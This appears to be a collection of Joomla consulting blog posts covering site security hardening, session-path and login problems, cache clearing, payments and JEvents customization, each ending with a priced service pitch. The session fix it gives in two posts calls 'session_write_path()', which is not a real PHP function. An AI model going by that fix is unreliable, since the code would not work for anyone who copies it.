If our client doesn’t want Flash on his website, we create a custom module that will popup a window and plays music by using the Windows Media Player. However, this module has a problem because if the website’s visitor has disabled popups, then he won’t be able to hear the music. In this case, what we do is that we detect if the visitor has disabled popups, and in this case we ask the visitor to manually click on a prominent link if he wants to hear the music.

In any case, we believe that music should not be added to any website because:

  • It’s annoying: Most visitors are annoyed by the music played on the website, especially if the visitors do not know you nor your business personally (which tends to constitute 99% of the visitors to websites getting real traffic).
  • It results in a high bounce rate: Statistically, most visitors tend to immediately leave the website if they hear any music played on the website.

  • It gives the impression that your website is old: Playing music on your website is so passé, it’s so 1990’s. Your visitors will get the impression that your website was developed in the previous millennium even though it was developed a few months ago.

  • It doesn’t provide any benefit: Playing music on your website will never provide any benefit to your business or your organization. In fact, as you can see from the above, it will do more harm than good, and will give the impression of unprofessionalism.

Having said all the above, if you still want to add music to your website, then we’re here to help. It will takes 1 hour to do install and customize the JBGMusic module (a total cost of $75 based on our current fees), or 8 hours ($600) to develop and install the custom solutions.

Why We Are the Joomla Security Experts

Website security has always been a hot topic, and now it’s even a hotter topic as security standards, such as PCI-DSS, are becoming required by credit card companies as well as internal security auditors (especially in schools, universities, and other websites). As a result, we are currently experiencing a surge in projects consisting of securing a company’s/individual’s website(s) in order to meet the necessary requirements. We are proud to say that we were able to do the job every time, and every website we have secured was marked as “passed” or “secured” (depending on the security test).

So how do we secure your Joomla website?

We follow the below process:

  • We check your Joomla version, and if you’re using a very old version, then we suggest you upgrade it to the latest version.
  • If you choose not to upgrade Joomla, we will fix all the vulnerabilities in your current version.
  • We check all the non-standard extensions that you have installed on your website, and we see if you are using the latest version of each extension. If you’re not, then we’ll update it1.
  • We will then run a security scan provided by Acunetix2 in order to check for the following vulnerabilities:
    • XSS
    • SQL Injection
    • Exposed passwords
    • Exposed directory strucutre
  • We will then fix all the code that is marked as vulnerable, and then we run the test again, until your website passes the scan.
  • We will then check the permissions on your directories/files, and remove non-required permissions (for example, index.php is often assigned a permission of 664 or 644, while it only needs a permission of 444).
  • If you’re looking to satisfy the PCI requirements, then at this point we’re almost 90% done. We will then work exclusively to make your Joomla website PCI compliant.

Do you see now why we are the Joomla Security Experts?

How much time will this job takes? It takes 3 days to finish the whole job from A to Z and make your website secure. Note that for PCI requirements our job is restricted to securing your website and advising on the right course of action for security your network.

So what will be the total cost for securing a Joomla website? Since it takes 3 days3, then it’s 24 hours, and at the current rate of $75/hour, the total will be $1,800, and you pay only if the website is secure.

Securing your website will give you peace of mind, and will make your visitors at ease especially when you’re accepting payments on your website. If you are interested in making your website bullet proof, then contact us, and we will get the job done – promise!

1We may not update it if the newer version is problematic or is substantially different than the older version.
1Acunetix is a 3rd party software and our clients are responsible for buying the necessary license to run the tests.
3Upgrading Joomla is a separate project and will take us an additional day (8 hours) to finish.

How to Fix Joomla’s Problem With session.save_path

We have previously examined a problem where one of our clients was not able to login to the administrator’s control panel, and we have concluded that the root of the problem is that PHP was unable to write the session information to the filesystem because it doesn’t have the proper permissions.

This problem often happens at an even larger scale when a new Joomla website is installed on a new server. The person installing Joomla will see something like “PHP is trying to open a file (that looks like a session file) but is unable to write to the file”. Obviously, installation cannot continue and the user is stuck.

Some try to solve this problem by doing one of the following:

1- Edit the php.ini file and change the session.save_path value to a directory that exists and that Apache (or IIS) has permissions to write to and read from.
2- Create a different php.ini file and install it under the root directory of the website (this way it will be loaded when the website will be launched).
3- Change the permission of the session directory that php.ini is trying to write to.

We think that both 3 solutions are inefficient, here’s why:

– For solution #1, you must have root access to the whole server in order to do this, and since many Joomla website owners don’t have this privilege, we should forget about this solution.

– For solution #2, you must have the right version of php.ini in order to install under your root directory, because if you don’t, then you may fix the session problem, but you may break almost everything else. And we don’t know of many hosting companies that will give the php.ini file to any of their users, so you will need to guess all the information based on php_info(); (which is really hard). Solution #2 is probably the most complicated.

– Now if you’re trying to implement solution #3, it means that there’s a 99.99% chance that you can’t implement it. Why? Because if you don’t have access to the original php.ini file, then it means you don’t have permissions to the session write directory specified in php.ini.

So how can this problem be fixed?

It’s very easy, you just do the following:

Step 1 – Login (through FTP) to your website and create a directory called cache and you it the right permissions.
Step 2 – Get the physical path of your website.
Step 3 – Add the function session_write_path($cache_directory); to the beginning of your index file ($cache_directory is the physical location of your cache direcotry that you created in step #1).

Problem solved!

We can help you solve the problem in no time. We will charge you for an hour, or $75 for a guaranteed fix according to our excellent rates! All you need to do is contact us!

How to Accept Payments on a Joomla Website?

There are many reasons why someone would want to accept a payment on his website, including:

– He might be selling a product
– He might be selling a service
– He might be accepting donation

But if that someone happens to run a Joomla website, how an he accept payments?

Like everything in life, there are two ways to do this: the easy way and the hard way.

The easy way to accept money on your Joomla website is to install a full extension that will handle everything from A to Z. Such extensions include Virtuemart, which can easily turn into the hard way, because, we know from our customers, that Virtuemart is not the easiest extension out there. However, the nice thing about Virtuemart is that once it’s installed and customized according to your needs, it works like a charm, you’ll be able to sell virtually anything on your website, and accept payments for the services/products you’re offering. Payments can be processed using PayPal or other payment processors.

The hard way to accept money on your Joomla website is to procure a custom solution to fit your needs and only your needs. The custom solution will include:

– Displaying your items/services
– A shopping cart (optional: if you’re running a subscription based website you usually don’t want this)
– A payout form
– A connection to the payment gateway (which can be PayPal or a real payment gateway such as Moneris or OptimalPayments)

Of course, both ways have their advantages and disadvantages, the first way is not that hard (not easy, but not hard) to install, but it is very hard to customize to fit your own needs (especially if you’re selling something like magazine subscriptions, and you need to have recurring monthly payments).

The second way is hard to implement and install, but it is very easy to install and to use because the solution was made to fit your needs and your needs only.

Now how much do we charge for implementing the functionality to sell items and accept payments on your Joomla website?

– If it’s the first way, then we charge 3 days of work, or $1,800 (as per our current rates). The fees include setup of Virtuemart, phone tutorial on how to use Virtuemart, as well as minor customizations that have to be done within the three days.

– If it’s the second way, then we charge a full week of work (7 days), or $4,200. The fees include collecting the requirements from you (our client), implementing the requirements, installing the extension, and explaining to you how to use it. In this case we require half the payment upfront.

Interested? Then contact us!

Blank Page on Joomla Login

One of Joomla’s interesting (and common) problems is when a user logs in to Joomla’s administrator’s control panel only to be greeted by a blank page instead of seeing Joomla’s control panel. The blank page doesn’t have any code in it, at all, not even the <html> and the <body> tags. So what’s going on?

This means that there is an error on the page. In fact, when you have a blank page after you login to Joomla, 99% of the times Apache will return a 500 Internal Server Error. But where did that error come from, and, more importantly, what caused it?

The error results from a PHP error, but you don’t see what the error is because Joomla, by default, and for security reasons, hides all the PHP errors from the outside world.

Now where did the error come from? In most of the cases we have encountered so far, the error comes from PHP trying to include a plugin that no longer exists in the filesystem. Here’s an example that we encountered today:

Warning: require_once(/home/yourwebsite/public_html/components/com_joomfish/helpers/defines.php) [function.require-once]: failed to open stream: No such file or directory in /home/yourwebsite/public_html/administrator/modules/mod_translate/mod_translate.php on line 15

Fatal error: require_once() [function.require]: Failed opening required '/home/yourwebsite/public_html/components/com_joomfish/helpers/defines.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/yourwebsite/public_html/administrator/modules/mod_translate/mod_translate.php on line 15

We were able to see the error above (instead of the blank page) because we forced PHP error reporting in /public_html/administrator/index.php using:

error_reporting(E_ALL);
ini_set('display_errors', '1');

Now what caused this error? Regrettably, we have to say that it was you, but without knowing, here’s how:

– You installed an extension (in the above case Joomfish).
– It didn’t work for your, you didn’t like it, or it caused you problems.
– Instead of uninstalling the extension from Joomla’s control panel, you deleted all the physical folders related to the extension on the file system.
– Since the extension was not uninstalled properly, then it is still considered, in the eyes of Joomla, as active.
– Joomla tries to load the extension (usually extensions that cause these problems are plugins) and fails.
– PHP reports an error and you will see the blank page.

How do we fix the error?

We cleanup the filesystem, we cleanup the database, basically we remove everything that has anything to do with the problematic extension.

This job takes an hour, for a total cost of $75 according to the our fee structure. If you’re having this problem, then contact us, even if it’s 2 AM in the morning, on a Sunday, which happens to be New Year’s eve! We know that your website is very important to you and we’re always here to help you!

My Joomla Changes Are Not Showing!

If you’re reading this post then probably the following has happened (or is currently happening) to you:

– You disable a module (or change a template, or disable/enable/update any extension).
– You go to your website and check if the module is no longer there.
– You still see the module.
– You go back to the administrator’s backend on Joomla, you double check if the module is disabled, and it turns out to be really disabled. But you enable it and disable it again, just in case….
– You go back to your website and still see the module active.
– Huh?
– You login as administrator, and you double check again, and you see that the module is indeed disabled? Could it be that you are working on the wrong website (many of our clients run multiple Joomla websites). You check the URL above and it’s definitely the website that you should be working on. Could it be that you’re disabling the wrong module? You search all active and disabled modules and you are now very sure that you are working on the right module.
– You ask this question: “How come my changes on my Joomla website are not showing?”

The reason why your changes are not showing is because you have enabled caching. Caching means that the generated Joomla code (not content) is cached for faster performance. Joomla websites with a medium amount of traffic (1,000+ visitors/day) should enable caching.

So how can you fix this issue? It’s very simple, you clear your Joomla cache. Here’s how:

– Login to your Joomla administrator.
– Go to “Tools”=> “Clean Cache”.
– Click on “Site” (on the menu below, it is next to “Administrator”) .
– Click the main checkbox to select all the cached items.
– Click on “Delete” on the upper right menu.
– Now that you’ve cleared your website’s cache, it is a good time to also clear your backend’s cache.
– On the same page, click on “Administrator”.
– Click the main checkbox to select all the cached items (you can also select each item individually, but since you’re already there it’s better to clean all the cache).
– Again, click on “Delete”.

Now if you’re working on your Joomla website and you’re making changes to your templates/extensions every 5 minutes, it’s better to temporarily disable caching altogether, here’s how:

– Go to “Site”, “Global Configuration” on the menu above.
– Click on “System” on the menu below.
– Change the “Cache” value (under “Cache Settings”, in the middle right of the page) to “No”.
– Click on “Save” on the top menu.

The above applies to Joomla 1.5. It’s possible for the steps to be slightly different in other version of Joomla, but the main concept remains the same.

If you do all the above and you’re still having problems with pages being cached, then contact us, we guarantee you that we’ll solve your problem in 2 hours (for a cost of $150, based on our current fees).

Are You Suddenly Unable To Login to Your Joomla Administrator?

One of our little projects today was interesting. The owner of the website was not able to login to his Joomla’s Administrator. Here is what we knew about the problem when we first started working on it:

– The website was using Joomla 1.0x (which is more Mambo than Joomla).
– The owner of the website was being redirected to the login page everytime he tried to login, with the following error “Incorrect Username, Password, or Access Level. Please try again”.
– The problem started happening when he moved to a new server.
– The problem is happening on all his Joomla 1.0x websites, but not on his Joomla 1.5 websites, that also reside on the same server.

Our first approach to the problem was to check the Joomla code for the login, and we saw that although there is a gid (group id) field in the jos_users table, it is ignored and there is a multiple join with the groups table that will get the group of the indvidual. After analyzing the data, we discovered that the admin user, although he is considered an administrator in the users table, is not considered an administrator in the table grouping users with groups. We fixed this problem by fixing the data. We thought now the user will be able to login. Right?

Wrong!

After we fixed the data, we stopped seeing “Incorrect Username, Password, or Access Level. Please try again”, but now we were simply redirected to the login (with no errors whatsoever) telling us to login again (but we just logged in!). We checked the data, and apparently the user was authenticated, but when the request was redirected to index2.php (which displays the backend), the user was redirected back to the login page (index.php). Odd. After heavy examination we discovered that the session information was not being passed from one page to the other, but why?

In order to isolate the problem, we created 2 pages, 1 page setting some session information, and the other reading and printing the session information, here are the contents:

Page1.php

session_start();
$_SESSION[‘variable’] = “value”;
session_write_close();

Page2.php

session_start();
print_r($_SESSION);

When we tested the simple code above we discovered that for some reasons the session information is not saved at all, which means that the write path for the session information is unwriteable by the application. So what we did was that we added just before the line “session_start();” the following line “session_write_path(“/web/vhosts/public_html/website_name/cache);” and we ensured that PHP can write to the cache directory. This fixed the problem, but we had to fix the problem across the board, which took some time.

If you are you not able to login to your Joomla’s administrator then we can definitely help you. It will take us 2 hours to fix the problem, which amounts to $150 at our current rates. We guarantee that our solution will work, so go ahead, contact us!

Multiple Categories on JEvents

Many of our clients want to have multiple categories on Joomla’s JEevents (An event component for Joomla). We always accommodate the request, and here’s how:

– We create a field called “multiple_categories” in the main events table.
– We change the field type of categories from a single select to a multiple select (see below)
JEvent Multiple Categories

JEvent Multiple Categories

– When the user submits the event, we populate the multiple_categories field with the IDs of all the selected categories, separated by pipes (|)
– We modify all the controllers to retrieve the data from the multiple_categories field as well as to the single category field (this part takes the longest time)
– We accommodate all the views, including the main events page on the website, to display the multiple categories.

So how much time will all this take? It usually takes us no less than a day (even though we’ve done it dozens of time already). So, at the current rate of $75/hour, the total cost will be for $600.

Do you want to support multiple categories but you don’t have the time nor the resources to implement the above? If yes, then contact us, we’ll do it for you!